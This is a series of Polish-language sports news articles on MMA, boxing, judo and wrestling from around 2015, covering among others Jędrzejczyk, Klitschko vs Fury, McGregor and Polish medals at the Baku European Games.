Z pewnością Melendez nie raz zadał sobie takie pytanie. W jednej chwili Amerykanin stracił pozycję, na którą pracował przez lata. Kariera Melendeza to pasmo sukcesów, które zostało przerwane przez jego głupotę. Wiadomo, że wiek robi swoje i czasami przychodzi kryzys, ale sięgnięcie po doping nie jest rozwiązaniem. Takie zachowanie wielkiemu fighterowi nie przystoi. Melendez dwukrotnie był mistrzem wagi lekkiej organizacji Strickeforce. O jego fenomenie świadczy fakt, że dzierżył w swoich dłoniach pas aż przez cztery lata.

W UFC pojawił się w 2013 roku. Nie była to udana przygoda. Już w debiucie poległ w starciu z Bensonem Hendersonem. W kolejnej walce wygrał z Diego Sanchezem, co dawało nadzieję na przełamanie. Melendez wielokrotnie udowadniał swój potencjał i pokazywał, że nie boi się trudnych wyzwań. Trzeci występ w UFC okazał się ciężką próbą. Amerykanin stanął na wprost nietuzinkowego Anthony’ego Pettisa, który udowodnił swoją wyższość i przez duszenie pokonał 33-latka w drugiej rundzie. Melendez nie poradził sobie w UFC.

Upadek

Co kieruje zawodnikami, którzy sięgają po niedozwolone substancje? Wielu z nich musi pogodzić się z utratą tytułów, pozycji, pieniędzy oraz autorytetu. Anderson Silva, dla wielu ikona MMA, w jednej chwili przekreślił wszystko. Długo walczył i zaprzeczał, jednak wynik badań był bezlitosny. Nick Diaz i Jon Jones to kolejne dopingowe nazwiska. Wcześniej wielkie ikony MMA. Ikony, które zaliczyły upadek.

KM

Olimpia Podolska

Polska zawodniczka kickboxingu urodzona 11 kwietnia 1996 roku w Kościerzynie. Swoją przygodę z kickboxingiem rozpoczęła w 2012 roku w klubie GKS Champion pod okiem trenera Bogdana Bliźniaka. W swoim pierwszym starcie zdobyła drugie miejsce na Pucharze Polski w Kick light w 2013 roku. Rok później zdobyła Puchar Polski w Kick Light. Olimpia na swoim koncie ma również mistrzostwo Polski w Full Contact, v-ce mistrzostwo polski w formule K-1.  Zdobyła także brązowy medal na Pucharze Świata w formule low Kick. W 2015 roku zdobyła v-ce mistrzostwo polski w formule low Kick.  Olimpia dwukrotnie występowała na zawodowych galach Champions Fight Night i dwa razy wygrywała swoje pojedynki. 

Angielska jesień Władimira Kliczko

Mówiło się o tym od dawna i kwestią czasu pozostawało oficjalne potwierdzenie walki. W październiku Władimir Kliczko będzie bronił swojego mistrzowskiego dorobku w starciu z Tysonem Fury’m.

Do starcia dojdzie w Niemczech, czyli na terenie, który jest królestwem mistrza z Ukrainy. Kliczko wyjdzie po raz dziewiętnasty, aby bronić tytułów mistrza świata WBA, WBO i IBF.

Stanąć przed olbrzymem

Kliczko jest wielki. Bez wątpienia to jedrn z najlepszych, a na pewno najbardziej utytułowanych pięściarzy XXI wieku. Sportowo osiągnął wszystko, co mógł. Dodatkowo zbudował sobie świetny wizerunek, z którego może czerpać zyski. Władimir Kliczko jest ikoną boksu, wyrazistą postacią, a takich potrzebuje współczesny sport.

Jak zawsze są dwie strony medalu. Wyrazistość jest ważna, ale trzeba czegoś więcej, aby spełniała swoją rolę. Musi być poparta argumentami w postaci osiągnięć i pewnej dojrzałości, a zarazem mądrości. Kliczko doskonale wpisuje się w ten schemat. Z pewnością Tyson Fury jest postacią wyrazistą, ale warto zastanowić się nad tym, czy nie jest to tylko kreacja? Brytyjski olbrzym mierzy 206cm i mimo swojej fizycznej wielkości jest niezwykle elastyczny. Zwłaszcza w mowie. Fury grzeszy pewnością siebie, czasami wydaje się, że jest bardzo zadufany w sobie. Niektórzy twierdzą, że przemawia przez niego pycha, która go w końcu zgubi.

Tak wygląda sprawa na gruncie osobowości. W pełni profesjonalny Kliczko, który jest gwiazdą boksu i Fury kreujący się na wielkiego boksera. Brytyjczykowi umiejętności odmówić nie można, ale czasami przydałoby mu się trochę pokory. Powoli do lamusa odchodzą czasy, w których z szacunkiem wyrażano się o mistrzach. W relacji Kliczko – Fury tego brakuje. To przykład igrzysk w najlepszej postaci, gdzie chodzi o to, aby przeciwnika dosłownie zmieść. W tej rzeczywistości funkcjonuje Fury. Kliczko zaś jest człowiekiem kultury i szyku.

Dwa bokserskie światy

Są z dwóch różnych epok. Początki Brytyjczyka w zawodowym boksie to czas, w którym Kliczko znajdował się w najlepszych latach swojej kariery. Obecnie Ukrainiec jest mistrzem świata kategorii królewskiej, co jest owocem jego ogromnego doświadczenia oraz mądrości ringowej. Z drugiej strony to także słabość rywali. Wielu hucznie i głośno zapowiada, że skończy dominację młodszego z braci Kliczko i na słowach się kończy. Czy Fury będzie innym przypadkiem?

Swego czasu26-latek zamknął usta Derecka Chisory, równie aktywnego werbalnie boksera z Wysp. Fury zapowiada, że w starciu, które zaplanowano na 24 października w Dusseldorfie nie zachowa się jak David Haye. Jego rodak w rywalizacji z Kliczko przetrwał dwanaście rund, ale przez większość pojedynku unikał kontaktu z mistrzem z Ukrainy. Fury pozostaje niepokonany na zawodowym ringu, Kliczko zanotował dwadzieścia dwa zwycięstwa z rzędu. Król wagi ciężkiej po raz ostatni przegrał w 2004 roku, czyli jedenaście lat temu. Ostatnio odprawił niepokonanego Bryanta Jenningsa. Czy Fury musi przygotować się na smak pierwszej porażki?

KM

Polskie srebro oświeciło Sofię

W stolicy Bułgarii odbyły się mistrzostwa Europy kadetów w judo. Polacy delikatnie zaznaczyli swoją obecność. Trudno mówić o dokonaniach, raczej trzeba skupić się na najjaśniejszym punkcie, czyli Macieju Krogulskim.

Do Sofii pojechało osiemnastu naszych reprezentantów, jednak nie w roli faworytów. Biało-czerwoni mieli zaliczyć ważny start i postarać się o niespodziankę. W Bułgarii Polska wywalczyła jeden medal, co na pewno cieszy, ale z drugiej strony zastanawia –czy naszych kadetów stać na więcej?

Dał przykład Krogulski

Młody Polak walczący w kategorii 73kg nie miał litości dla swoich rywali. Krogulski był pewny siebie i skuteczny, co dało mu medal. Na szyi polskiego judoki zawisło srebro.

Krogulski od początku zawodów prezentował się bardzo dobrze i zmierzał w kierunku finału. Na początek w starciu z polskim zawodnikiem poległ Andrei Pirloga z Rumunii. Krogulski dobrze wszedł w zawody, co potwierdził w kolejnej walce, kiedy to okazał się lepszy od Killiana Pirotona. Wydawało się, że Polak może złapać zadyszkę, gdyż kolejne walki były coraz bardziej wymagające, jednak w Bułgarii nasz zawodnik prezentował się wyśmienicie.. Niestraszny Krogulskiemu był również Oleksandr Cherkai. Wygrana z reprezentantem Ukrainy wprowadziła Polaka do strefy medalowej. Sukces był o krok.

W walce półfinałowej Krogulski stanął przed trudnym wyzwaniem. Christian Parlati to rywal wymagający, który w Sofii odniósł trzy zwycięstwa i liczył na awans do finału. Krogulski powstrzymał zapędy Włocha, który musiał obejść się smakiem, bo ostatecznie medalu nie wywalczył i zajął 5.miejsce. Polak był na najlepszej drodze, aby odnieść sukces. Jeśli Parlati był wymagającym rywalem to w finale Krogulski trafił zdecydowanie gorzej. Gruzini na judo się znają. Łasza Dudaszwili potwierdził tę regułę i zdobył złoty medal mistrzostw Europy kadetów, a w finale pokonał Krogulskiego przez ippon.

Krok od medalu

Dorobek Polaków mógł być nieco większy. Niewiele zabrakło a z medalu cieszyłaby się Anna Dąbrowska w kategorii 57kg. Zawody w Sofii rozwijały się po myśli młodej Polki, która wygrała trzy walki i była już gotowa do starcia o podium. W półfinale trafiła na Mariię Gryzlovą. Pojedynki polskich i rosyjskich zawodników zawsze mrożą krew w żyłach i powodują dodatkową adrenalinę. Do finału awansowała jednak reprezentantka Sbronej, a Dąbrowskiej przyszło rywalizować o brązowy medal. W rywalizacji o trzecie miejsce Polaka trafiła na zawodniczkę z repasaży Lise Keller. Szwajcarka rozstrzygnęła pojedynek na swoją korzyść i mogła radować się z brązowego medalu. W tej samej kategorii rywalizowała również Angelika Szymańska. Polka rozpoczęła udział w zawodach od wygranej z Holenderką Lesley Koorn, następnie wyeliminowała Marię Ortiz Medinę. Potknęła się w na Niemce Hannah Deliu. Szymańska miała szansę w repasażach, ale tam powstrzymała ją Lise Keller, którą można określić jako zmorę Polek.

KM

Jędrzejczyk zdobyła uznanie

Fighterka z Olsztyna jest wizytówką polskiego MMA na świecie. Kolejne pochwały płyną w kierunku Joanny Jędrzejczyk.

27-latka jest mistrzynią UFC w wadze słomkowej. Tytuł wywalczyła pokonując w efektowny sposób Carlę Esparzą. W równie widowiskowym stylu Polka rozprawiła się z Jessicą Penne w swojej pierwszej obronie pasa.

Najlepsza w UFC

Obecnie wyżej stoją akcje tylko jednej fighterki – Rondy Rousey. Amerykanka walczy efektownie, walki kończy niezwykle szybko i widowiskowo. Jest niekwestionowaną mistrzynią oraz gwiazdą UFC. Joanna Jędrzejczyk rozwija się błyskawicznie i wprawia coraz to większe grono odbiorców w zachwyt.

Rok temu debiutowała w UFC, co było ogromnym wyróżnieniem dla niej, a zarazem szansą dla polskiego MMA. Jędrzejczyk stoczyła cztery pojedynki dla najlepszej organizacji mieszanych sztuk walki na świecie i wszystkie wygrała. W dwóch pierwszych zwyciężała na punkty. Zwłaszcza w pojedynku z Gadelhą wiele się działo i Brazylijka nie była zadowolona z werdyktu sędziowskiego, jednak Polka pokazała charakter, co pozwoliło jej odnieść sukces w starciu z wyżej cenioną rywalką. Jędrzejczyk zmierzała pewnie w kierunku walki o pas. Carla Esparza była ostatnią przeszkodą na drodze Polki do chwały. Okazało się, że zawodniczka z Olsztyna jest zdeterminowana, aby odnieść sukces. Zdobycie tytułu dodało 27-latce energii i stała się z miejsca gwiazdą UFC. Na gruncie sportowym jej umiejętności nie podlegają dyskusji, ale Jędrzejczyk powoli radzi sobie coraz lepiej marketingowo. Polka przed ostatnią walką z Jessicą Penne zrobiła prawdziwe show. Wręczyła rywalce naszyjnik z makaronu. W Berlinie udowodniła swoją wyższość  nad Jessicą Penne i pewnie obroniła pas.

Dobra dyspozycja, harmonijny rozwój oraz sukces Polki nie przeszły bez echa. Fighterka z Olsztyna jest chwalona na każdym kroku. Oficjalny serwis UFC uznał Polkę za najlepszą wojowniczkę pierwszego półrocza 2015 roku. To cenne wyróżnienie dla Polki, które zarazem pokazuje, że kobiece MMA jest bacznie obserwowane i doceniane. We wspomnianym rankingu Jędrzejczyk wyprzedziła mistrza wagi półciężkiej Daniela Cormiera oraz fenomenalnego Donalda Cerrone’a.

Amerykanie zachwyceni

Polka zachwyca. Amerykanie są zadowoleni, że mogą z bliska przyglądać się zawodniczce, która po wejściu do oktagonu chce walczyć i nie ma litości dla swoich rywalek. Takie podejście imponuje publiczności czekającej na widowiskowe starcia.

Amerykańskie media przewidują, że Jędrzejczyk długo utrzyma się na szczycie. De facto Polka szybko została mistrzynią UFC. W zaledwie dziewięć miesięcy od debiutu walczyła o tytuł. Jędrzejczyk prezentuje się pewnie i widać, że dobrze czuje się jako mistrzyni. Pochwały, słowa uznania są ważne, ale warto pamiętać, że w tym biznesie jedna słabsza walka może zmienić optykę. Dziś Jędrzejczyk jest na szczycie, wszyscy ją ubóstwiają. Należy zachować zdrowe podejście, bo przede wszystkim Polka ma rozwijać się jako zawodniczka MMA i osiągać sukcesy. W żaden sposób nie zastąpią tego różnego typu wyróżnienia, choć to miły dodatek. Jędrzejczyk wygląda na osobę, która wie, czego chce i nie powinna ulec żadnym pokusom.

KM

Sęk przyłożył i położył

Dariusz Sęk jechał do Monachium z nadziejami na sukces. Plany polskiego pięściarza ziściły się.

Ostatniej wizyty w Niemczech Sęk nie wspominał zbyt miło z powodu porażki na punkty z Robinem Krasniqim. Polak nie był faworytem pojedynku, jednak pokazał się z bardzo dobrej strony. Sęk zaprezentował wysoki poziom i sprawił rywalowi wiele problemów. W grudniu 2014 roku z podróży do Niemiec nie był mimo wszystko zadowolony. Minęło nieco ponad pół roku i nastrój zmienił się.

Pewne zwycięstwo

Tym razem Sęk również nie miał łatwego zadania. Podczas monachijskiej gali w walce wieczoru zmierzył się z Shefatem Isufim. 25-latek rysował się jako groźny i wymagający rywal. Na zawodowym ringu zanotował siedemnaście zwycięstw, z czego trzynaście przed czasem. Isufi boksuje regularne i z dobrym efektem. Ostatnią porażkę zanotował w starciu z Tasosem Berdesisiem, a było to w marcu ubiegłego roku. Od tamtej pory odniósł pięć zwycięstw z rzędu i wszystkie pojedynki zakończył przed czasem. Do pojedynku z polskim pięściarzem wagi półciężkiej przystępował pewny siebie i z nieskrywaną nadzieją na kolejne zwycięstwo.

Sęk mógł przeciwstawić się swojemu rywalowi. W pojedynku z Krasniqim Polak pokazał, że boksować umie, a decyzja sędziów w oczach wielu była kontrowersyjna. Z tej walki płynęła również nauka, że na obcym terenie trzeba kończyć dzieło przed czasem, bo w innym przypadku może przytrafić się niespodzianka. Dla 28-letniego pięściarza rywalizacja z Isufim była czwartym pojedynkiem, który stoczył w Niemczech. Wcześniej ze swoich występów Sęk nie mógł być usatysfakcjonowany. Zanotował dwie porażki, jedną walkę wygrał – z Christianem Pohle, a było to pięć lat temu. W końcu nadszedł czas na przełamanie.

W Monachium Sęk wystąpił w walce wieczoru. Początkowo szalał rywal. Isufi starał się zdominować Polaka i narzucić swoje warunki. 25-letni pięściarz starał się straszyć Sęka prawą ręką, jednak 28-latek był czujny. Od czasu do czasu Sęk decydował się na przeprowadzenie kontrataku – celne ciosy na korpus hamowały zapędy Albańczyka. Isufi rozpoczął mocno i zdecydowanie, chciał zaskoczyć rywala, ale nie przewidział jednego. Walka miała trwać dwanaście rund, a rywal Polaka już w piątej rundzie wyglądał kiepsko. Z upływem kolejnych minut było widać coraz większe braki kondycyjne u 25-latka. Sęk wykorzystał słabość rywala. W rundzie szóstej Polak rozpoczął zmasowany atak, a w siódmej kontynuował swoje dzieło. Isufi wyglądał coraz gorzej. Zakrwawiony nos, rozbita twarz i coraz większa ilość krwi. W ósmej rundzie pojedynek zakończył się. Konieczna była konsultacja lekarska, Isufi nie wyglądał dobrze. Narożnik Albańczyka zdecydował, że lepiej będzie przerwać walkę.

Tytuł dla Polaka

Sęk w końcu wygrał w Niemczech. Przygotował się dobrze do walki, dał wyszaleć się rywalowi, a następnie zrobił swoje. Polski pięściarz w ósmej rundzie mógł cieszyć się ze zwycięstwa. Dodatkowo Sęk wywalczył regionalny pas WBC EPGC wagi półciężkiej.

fot. tarnow.net.pl

KM

Joshua oddala się od Wacha

Wrzesień miał być miesiącem weryfikacji możliwości Mariusza Wacha. Polski ciężki miał stanąć przed trudnym wyzwaniem. „Viking” był wymieniany w gronie kandydatów do walki z utalentowanym Anthony’m Joshuą. Czy do pojedynku dojdzie?

Polak po dwuletniej absencji powrócił na ring. Początkowo potrzebował pojedynków, które pomogłyby mu na nowo wejść w świat boksu. Chodziło o odpowiednie wprowadzenie, złapanie rytmu i wyrobienie kondycji. Cztery walki w zupełności wystarczą. Po ostatnim pojedynku z Konstantinem Airichem, który Wach zakończył w szóstej rundzie zaczęły pojawiać się głosy mówiące o tym, że nadszedł czas, aby Polak w końcu wszedł na wyższy poziom.

Herbata po angielsku

Trzeba o tym pomyśleć. Najlepiej zaparzyć herbatę, usiąść i przedyskutować sprawę. W angielskim stylu. Czy trzeba aż tyle zachodu? Mariusz Wach jest w takim miejscu swojej kariery, że warunków dyktować raczej nie może. Obecnie walka o mistrzostwo świata mu nie grozi, ale jest bokserem, który może walczyć jeszcze kilka dobrych lat. A ambicje Wach ma większe niż kolejne pojedynki w Polsce. Po starciu z Airichem pojawiły się głosy, że „Viking” przejdzie weryfikację w rywalizacji z Anthony’m Joshuą.

Polak miał stanąć w ringu 12 września, aby stoczyć pojedynek z nadzieją brytyjskiego boksu. Z upływem kolejnych dni wydaje się, że starcie jest coraz mniej realne. Prawdopodobnie Joshua we wrześniu będzie walczył z Gary’m Cornishem. Nie ma, co ukrywać, że akcje Szkota stoją wyżej niż Wacha. Joshua jest na najlepszej drodze, aby wejść do czołówki wagi ciężkiej, ale musi to po raz kolejny potwierdzić. Brytyjczyk chciałby również rywalizować z Dillianem Whytem, jednak byłyby to bardziej pojedynek na podłożu osobistym. Panowie spotkali się w czasach amatorskich. Whyt wygrał i teraz po raz kolejny chciałby udowodnić swoją wyższość. – Gary Cornish to bardzo dobry rywal. Szkot jest silny i potrafi boksować. Początkowo staraliśmy się zorganizować walkę z Dillianem. Rywalizowaliśmy w czasach amatorskich i teraz Whyt chce również spróbować swoich sił. Być może będzie to kolejny krok w mojej karierze – tłumaczy Joshua.

Zatem wizja rywalizacji Wacha z nadzieją brytyjskiego boksu oddala się. Prawdopodobnie we wrześniu Joshua zmierzy się z Cornishem.

Plany Wacha

Co w takiej sytuacji czeka polskiego pięściarza? Warto po raz kolejny podkreślić, że czas przystosowania po powrocie na ring już minął. Wach powinien stoczyć pojedynek z wartościowym rywalem, aby można było określić jego obecną formę i możliwości. Niewykluczone, że Polak będzie miał okazję odbyć ciekawą walkę w kraju. Pojawiały się głosy na temat ewentualnego starcia z Marcinem Rekowskim bądź Andrzejem Wawrzykiem. Na ile to możliwe, trudno ocenić. Obecnie wiadomo, że walka z Joshuą oddala się.

KM

Oni wiedzą jak to się robi

Igrzyska Europejskie odbyły się pierwszy raz w historii. W Baku Polska wywalczyła dwadzieścia medali. Z dobrej strony pokazali się zapaśnicy i bokserzy, którzy solidnie zapracowali na dorobek biało-czerwonych.

Nie udało się zdobyć złota. Polskie sporty walki w Baku nie sięgnęły po krążek z najcenniejszego kruszcu. Mimo to dorobek naszych fighterów jest powodem do dumy. Dziesięć z dwudziestu medali reprezentantów Polki jest ogromnym osiągnięciem.

Przez Baku do Las Vegas

Zapaśnicy w tym roku będą również walczyli w mistrzostwach świata. Za rok Igrzyska Olimpijskie w Rio de Janeiro. Jeśli poziom zostanie utrzymany to w zapasach możemy być spokojni o medale. Tegoroczne starty dawały nadzieję na dobre występy naszych reprezentantek w Baku, jednak panowie również błysnęli formą.

Roksana Zasina szła jak burza w kategorii 53kg. W ćwierćfinale efektownie rzuciła na plecy Liliję Horoszinę i zmierzała do finału. W walce o złoto zmierzyła się z zawodniczką gospodarzy – Anzhelą Dorogan. Zasina zatrzymała się dopiero na reprezentantce Azerbejdżanu, ale srebrny medal jest ogromnym sukcesem w wykonaniu naszej zapaśniczki. Drugie miejsce w kategorii 55kg zajęła Katarzyna Krawczyk. Polka w drodze do finału pokonała m.in. mistrzynię Europy z 2011 roku Mathilde Riviere. O złoto Krawczyk rywalizowała z utytułowaną Szwedką Sofią Mattsson i musiała uznać wyższość rywalki. W kategorii 48kg po brązowy medal sięgnęła Iwona Matkowska. Polka w ćwierćfinale przegrała z Mariją Stadnik, co pozbawiło ją szans walki o złoto. W finale pocieszenia Matkowska pewnie wygrała z Julie Sabatie.

Magomedmurad Gadzhiev w stylu wolnym w kategorii 70kg walczył o złoto. W półfinale już w pierwszej rundzie odprawił Gruzina Dawitem Tlaszadzem, a w decydującym pojedynku stanął przed trudnym wyzwaniem. Rywalizacja z Magomedrasulem Gazimagomedowem nie zakończył się po myśli Gadzhieva, który musiał zadowolić się srebrnym krążkiem. Po dramatycznej walce brązowy medal zdobył Radosław Marcinkiewicz. Polak w stylu wolnym w kategorii 86kg do ostatnich sekund walczył o sukces. Nurmagomed Kuadżijew długo nie mógł uwierzyć, że dał sobie wyrwać medal.

Medale w boksie

Okazuje się, że boks amatorski żyje. Zapomniany i zaniedbany dał o sobie znać. Nasi bokserzy pokazali, że stać ich na zdobywanie medali na najważniejszych imprezach. Cztery krążki  wywalczone w Baku pokazują potencjał tkwiący w polskim pięściarstwie. Ciężkie treningi, upór i ambicja zawodników dały efekt. Sandra Drabik w kategorii 51kg sięgnął po srebrny medal. Trzy brązowe krążki były udziałem: Aneta Rygielska (64kg), Lidia Fidura (75kg)i Mateusz Polski (60kg).

Dorobek polskich fighterów wzbogacił jeden medal zdobyty w taekwondo. Celne ciosy doprowadziły Karola Robaka do drugiego miejsca w kategorii 68kg.

KM

Conor oszalał

Różne przypadki bywają. Z pewnością Conor McGregor jest wyjątkowy. Irlandczyk ma ogromny potencjał w MMA, co potwierdza w kolejnych walkach, ale dominuje nie tylko na płaszczyźnie sportowej. McGregor lubi robić zamieszanie wokół siebie i zaskakiwać .

Irlandczyk jest niezwykle ekspresywny. Po wygranym pojedynku z Dennisem Siverem przeskoczył przez siatkę i chciał sprowokować Jose Aldo. Mistrz UFC w wadze piórkowej tylko się uśmiechnął. A McGregor po raz kolejny zrobił show, co było powodem do kolejnych dyskusji.

Poczeka na Aldo           

Napięcie stopniowo rosło i miało dojść do eksplozji, jednak wybuch trzeba odłożyć na później. Oczekiwana walka Jose Aldo z McGregorem nie dojdzie do skutku z powodu kontuzji brazylijskiego zawodnika. Podczas gali UFC 189 wojownik z Irlandii zmierzy się z Chadem Mendesem. Walka z Aldo byłaby prawdziwym hitem, w którego promocję organizatorzy włożyli wiele wysiłku, jednak uraz żeber fightera z Kraju Kawy oddalił wizję fenomenalnego pojedynku. Rywalizacja McGregora z Mendesem będzie tylko gorzką osłodą.

Stawką rywalizacji będzie tytuł tymczasowego czempiona UFC w wadze piórkowej. Mendes po raz kolejny stanie przed szansą na wywalczenie pasa. Wcześniejsze próby kończyły się dla 30-latka porażkami. Mendes miał okazję dwukrotnie walczyć o tytuł i oba pojedynki przegrał z Jose Aldo. Tym razem stanie do rywalizacji z McGregorem. Czy za trzecim razem osiągnie sukces? Może to być trudne, bardzo trudne, a nawet niewykonalne. Nie ma co ukrywać, że McGregor jest fighterem z krwi i kości, który jest zdeterminowany, aby odnieść sukces. Można o nim powiedzieć, że jest typem showmana i robi wokół siebie wiele zamieszania, ale odmówić mu umiejętności sportowych byłoby grzechem. McGregor spełnia wszystkie warunki, aby zostać mistrzem.

Obaj stoczyli w MMA po dziewiętnaście pojedynków. Taki sam bilans – siedemnaście zwycięstw i dwie porażki. Z jedną, bardzo ważną różnicą. McGregor ostatnią porażkę zanotował prawie pięć lat temu, a Mendes w październiku 2014 roku. Irlandczyk odniósł trzynaście zwycięstw z rzędu. Kto będzie lepszy 11 lipca w Las Vegas?

Dawaj na ring

McGregor lubi na siebie zwracać uwagę, to nie ulega wątpliwości. Wszyscy zdążyli się już przyzwyczaić do tego, że ciągle powtarza swoją wyjątkowość. McGregor chciałby zmierzyć się z mistrzem wagi średniej w boksie Floydem Mayweatherem Jr. Temat pojawił się już kiedyś, wtedy McGregor mówił o walce na zasadach MMA. Czas szybko biegnie i „Money” prawdopodobnie 12 września stoczy ostatni pojedynek w swojej karierze. McGregor doskonale wie, że trudno byłoby pokonać Amerykanina w walce bokserskiej. –Konieczna jest konfrontacja dwóch różnych dyscyplin. W boksie nie ma szans, żeby pokonać Mayweathera. Gdybyśmy się spotkali, na pewno jego również bym rozmontował – powiedział Irlandczyk.

KM

Pudzian doczekał się

Na rywala, z którym zmierzy się podczas gali KSW 32 na Wembley. Mariusz Pudzianowski będzie rywalizował z dobrze znanym polskim kibicom – Peterem Grahamem.

„Pudzian” po ostatnim efektownym występie rozbudził apetyty wszystkich. Mówiło się, że kolejnym wyzwaniem będzie zawodnik z Anglii, jednak ostatecznie zakontraktowano doświadczonego Australijczyka. Graham dwukrotnie walczył na galach KSW.

Czy to wyzwanie?

Zawsze będą obiekcje, aby nazwać Pudzianowskiego zawodowym fighterem. Wszyscy doskonale pamiętają go z występów w rywalizacji strongmanów. KSW wykorzystało popularność „Pudziana” do promocji produktu, co przyniosło pożądany efekt. Warto nadmienić, że postępy 38-latka w świecie MMA są widoczne. Ciężkie treningi Pudzianowskiego pozwoliły mu wykonać krok, a nawet dwa do przodu. Polak nie jest już tak chaotyczny i nie rzuca ciosami na prawo i lewo. Ostatni pojedynek z Rollesem Gracie pokazał, że Pudzianowski jest groźny. Ma ważny atut w postaci siły, a dodatkowo nie unika walki i szuka kontaktu z przeciwnikiem.

„Pudzian” wygrał cztery ostatnie pojedynki. Po morderczym boju okazał się lepszy od Pawła Nastuli, czym pokazał, że w Polsce jest jednym z najlepszych fighterów w wadze ciężkiej. Gracie został znokautowany w efektownym stylu, a zachwytom nie było końca. Teraz kolejnym wyzwaniem, przed którym stanie Polak będzie Peter Graham. Tu pojawia się pewny znak zapytania. Czy Australijczyk jest w stanie zagrozić Pudzianowskiemu?

Graham najlepsze czasy ma już dawno za sobą. Australijczyk występował na galach Bellatora, AFC czy Draka. Trzeba zauważyć, że w ostatnim czasie radzi sobie coraz gorzej, a nawet słabo. Graham przypomina zawodnika nieco ociężałego, przez co jest niezwykle powolny. Od listopada 2013 roku stoczył pięć walk i cztery z nich przegrał. Zwyciężył w starciu z Marcinem Różalskim, przez błąd i kontuzję polskiego fightera. Podczas KSW 31 decyzją sędziów przegrał z Karolem Bedorfem. „Coco” zdominował Australijczyka, jednak ten w trzeciej rundzie postanowił zaatakować, jednak nie zaszkodził naszemu zawodnikowi.

„Pudzian” lepszy

Na obecną chwilę wyżej stoją akcje Pudzianowskiego. Polak robi postępy i nie walczy już jako celebryta. Rywalami „Pudziana” są fighterzy, którzy mają określone umiejętności. Tak też jest w przypadku Grahama, jednak ten najlepszy czas ma już za sobą. Obaj są w podobnym wieku, Australijczyk jest rok starszy -39 lat.

Jeden celny cios Polaka może zadecydować o wszystkim. Graham jest zawodnikiem, który walczy spokojnie i szuka okazji do ataku. Pudzianowski potrafi się niespodziewanie zerwać i zaskoczyć swojego rywala. Jeśli kondycyjnie będzie dobrze przygotowany, pokonanie Grahama nie powinno stanowić dla niego problemu.

Kto jeszcze?

Gala KSW 32 na Wembley odbędzie się 31 października. W jednej z walk zaprezentują się zawodnicy, którzy musieli uznać wyższość Mameda Khalidova. Starcie Bretta Coopera i Maiquela Falcao może okazać się pasjonujące. Oli Thompson zmierzy się z Michałem Włodarkiem. Rafał Moks postara się pokonać Jima Wallheada, w efektownym stylu chce wrócić Marcin Różalski, którego rywalem będzie James McSweeney. O pas z Borysem Mańkowskim zmierzy się Michail Tsarev.

KM

Sukces młodej zapaśniczki

Polskie zapasy wyglądają coraz lepiej. Zarówno w rywalizacji seniorów jak i juniorów. Dobry występ naszych reprezentantek podczas Igrzysk Europejskich w Baku daje ogromny zastrzyk optymizmu względem przyszłorocznego startu w Rio de Janeiro. Na poziomie juniorskim też się dzieje.

Co prawda ilość na kolana nie powala, ale jak ktoś, kiedyś słusznie zauważył – jakość się liczy. Nie ma sensu dyskutować, czy mogło być lepiej czy gorzej. Pewne rzeczy trzeba przyjąć, zaakceptować i patrzeć do przodu. Z nadzieją na kolejne starty zerka Dominika Szynkowska. Zapaśniczka jako jedyna z reprezentantów Polski sięgnęła po medal mistrzostw Europy juniorów.

Cenny brąz

Dominika Szynkowska w juniorskim czempionacie zajęła trzecie miejsce, co jest ogromnym dokonaniem w karierze naszej zawodniczki. Początek rywalizacji w Stambule wcale nie zapowiadał, że Polka skończy zawody w czołówce. Szynkowska, która startowała w kategorii 48kg w ćwierćfinale mistrzostw Europy trafiła na zdolną Mołdawiankę Doinę Roscovanu. Polka nie poradziła sobie ze swoją rywalką, jednak walczyła ambitnie. Szynkowska zaprezentowała się dobrze i nie zniechęciła się po porażce w ćwierćfinale. Kolejną przeciwniczką była Annika Wendle. W repasażach Polka okazała sie lepsza od zawodniczki z Niemiec, co dało jej możliwość rywalizacji o medal. Szynkowska musiała pokonać Silje Kippernes, aby stanąć na podium mistrzostw Europy. Zawodniczka z Kraśnika wykonała zadanie i wygrała 9:7 i mogła cieszyć się z brązowego medalu. W rywalizacji w kategorii 48kg startowało trzynaście zawodniczek. Warto wspomnieć, że Doina Roscovanu, która pokonała Polkę w ćwierćfinale została wicemistrzynią Europy. Tytuł wywalczyła Milana Dadasheva.

Podium było blisko

Blisko medalu był Krzysztof Sadowik, który startował w kategorii 84kg w stylu wolnym. Polak został sklasyfikowany na piątym miejscu. Sadowik rywalizację w Stambule rozpoczął od pojedynku z Iliasem Kidrosem. Grek starał się, ale nie był w stanie przeciwstawić się naszemu zawodnikowi i przegrał 1:4. Kolejną przeszkodą na drodze Polaka był Evelin Rusev. Pojedynek z Bułgarem do łatwych nie należał, jednak zakończył się po myśli Sadowika, który odważnie zmierzał w kierunku podium. W półfinale nasz zapaśnik trafił na Gadzhina Radzhabova. Reprezentant Rosji nie pozostawił Polakowi złudzeń, kto jest lepszy. Radzhabov rozbił Sadowika w pył, jednak nasz zapaśnik nadal miał szansę na medal. Walka o brąz również nie potoczyła się po myśli polskiego zawodnika, który poniósł porażkę w starciu z Ghadzhimuradem Magomedsaidovem.

Dobry występ w kategorii 50kg w stylu wolnym zaliczył Robert Dobrodziej. O złoty medal mistrzostw Europy w tej wadze walczyło trzynastu zawodników. Polak pewnie wygrał z Dardanem Sylą, jednak w kolejnej walce poległ w rywalizacji z Bekirem Sahinem i ostatecznie zajął siódme miejsce. Na ósmej pozycji sklasyfikowana została Natalia Strzałka. Polka w kategorii 72kg wygrała jedną walkę, ale dwie przegrała.

Ze Stambułu do Polski przyleci jeden medal – brązowy. Polacy w Turcji zaznaczyli swoją obecność i zyskali cenne doświadczenie, co z pewnością pozwoli im wyciągnąć odpowiednie wnioski i naprawić błędy.

KM

Kadeci powalczą o medale

Tym razem nie seniorzy, a kadeci będą walczyli o najwyższe laury. W mistrzostwach Europy wystartuje osiemnastu naszych reprezentantów.

Rywalizacja w Sofii będzie trwała trzy dni. W stolicy Bułgarii zaprezentują się: Paulina Szlachta (44kg), Natalia Kropska (48kg), Aleksandra Kaleta i Vanessa Machnicka (52kg), Anna Dąbrowska, Katarzyna Szymańska (obie 57kg), Barbara Kulik i Eliza Wróblewska (63kg), Paulina Dziopa (70kg), Michał Michalski (60kg), Jędrzej Stecki i Cezary Tchórzewski (66kg), Maciej Krogulski oraz Przemysław Kruczborski (73kg), Iwo Baraniewski (81kg), w kategorii 90 kg – Paweł Kejza i Eryk Ryciak, Krzysztof Zaleczny (+90kg).

Na początek

